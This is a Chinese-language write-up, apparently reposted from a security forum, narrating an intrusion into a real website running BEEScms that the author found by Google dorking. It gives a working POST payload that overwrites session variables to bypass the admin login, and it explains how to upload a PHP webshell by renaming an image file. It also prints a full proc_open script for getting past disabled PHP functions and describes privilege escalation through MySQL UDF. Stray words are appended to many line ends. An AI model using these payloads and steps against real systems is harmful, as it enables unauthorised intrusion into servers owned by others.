【實戰1】記一次提至administrator權限歷程

本文首發於先知社區 https://xz.aliyun.com/t/5080php

前言:這是一次挖掘cms通用漏洞時發現的網站,技術含量雖然不是很高,可是也拿出來和你們分享一下吧,但願能給一部分人帶來收穫。html

 


 

0x01 進入後臺

在經過googlehack語法挖掘beescms時發現了這個站點mysql

 

利用網上的payload,在/mx_form/mx_form.php?id=12頁面使用hackbarPOST如下數據sql

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000shell

而後訪問/admin即可以直接進入後臺數據庫

 

0x02 shell

進入後臺後在‘添加產品模塊’處尋找到了上傳點數組

 

嘗試上馬,但提示‘上傳圖片格式不正確’,因而上傳圖片馬抓包,在repeater裏更改後綴爲php,而後go安全

 

根據回顯沒有看出是否上傳成功,但也沒說失敗。通過尋找在‘上傳圖片管理’處找到函數

 

點擊圖片發現解析了,直接菜刀鏈接,拿到shell網站

 

0x03 繞過安全模式

拿到shell後進入終端查看權限,但卻發現執行命令失敗,可能遠程啓用了安全模式

 

通過在網上一番查找得出:要找到未禁用的php執行函數。先上傳了一個查看phpinfo的腳本,找到已禁用的函數

 

發現proc_open函數未被禁用,因而找到以下php腳本

<?php $descriptorspec=array( //這個索引數組用力指定要用proc_open建立的子進程的描述符

    0=>array('pipe','r'), //STDIN

    1=>array('pipe','w'),//STDOUT

    2=>array('pipe','w') //STDERROR
 ); $handle=proc_open('whoami',$descriptorspec,$pipes,NULL); //$pipes中保存的是子進程建立的管道對應到 PHP 這一端的文件指針($descriptorspec指定的)

    if(!is_resource($handle)){ die('proc_open failed'); } //fwrite($pipes[0],'ipconfig');

    print('stdout:<br/>'); while($s=fgets($pipes[1])){ print_r($s); } print('===========<br/>stderr:<br/>'); while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>

上傳後能夠執行命令,成功繞過安全模式

 

0x04 提權

上圖能夠看出只是iis權限,能作的事很侷限,因此要想辦法提權。

菜刀中雖然不能執行命令,可是能夠查看文件,因而找到了數據庫配置文件

 

發現是mysql的數據庫,想到udf提權,因而上傳udf提權腳本

 

登陸後導出udf即可以執行命令了

 

提權成功,可是不能夠添加用戶,也不能開3389

 


 

結語:但願路過的各位大佬能夠指點迷津,也歡迎各位來找我交流探討,感謝閱讀。

參考連接:

https://www.cnblogs.com/R4v3n/articles/9081202.html php限制命令執行繞過

相關文章
相關標籤/搜索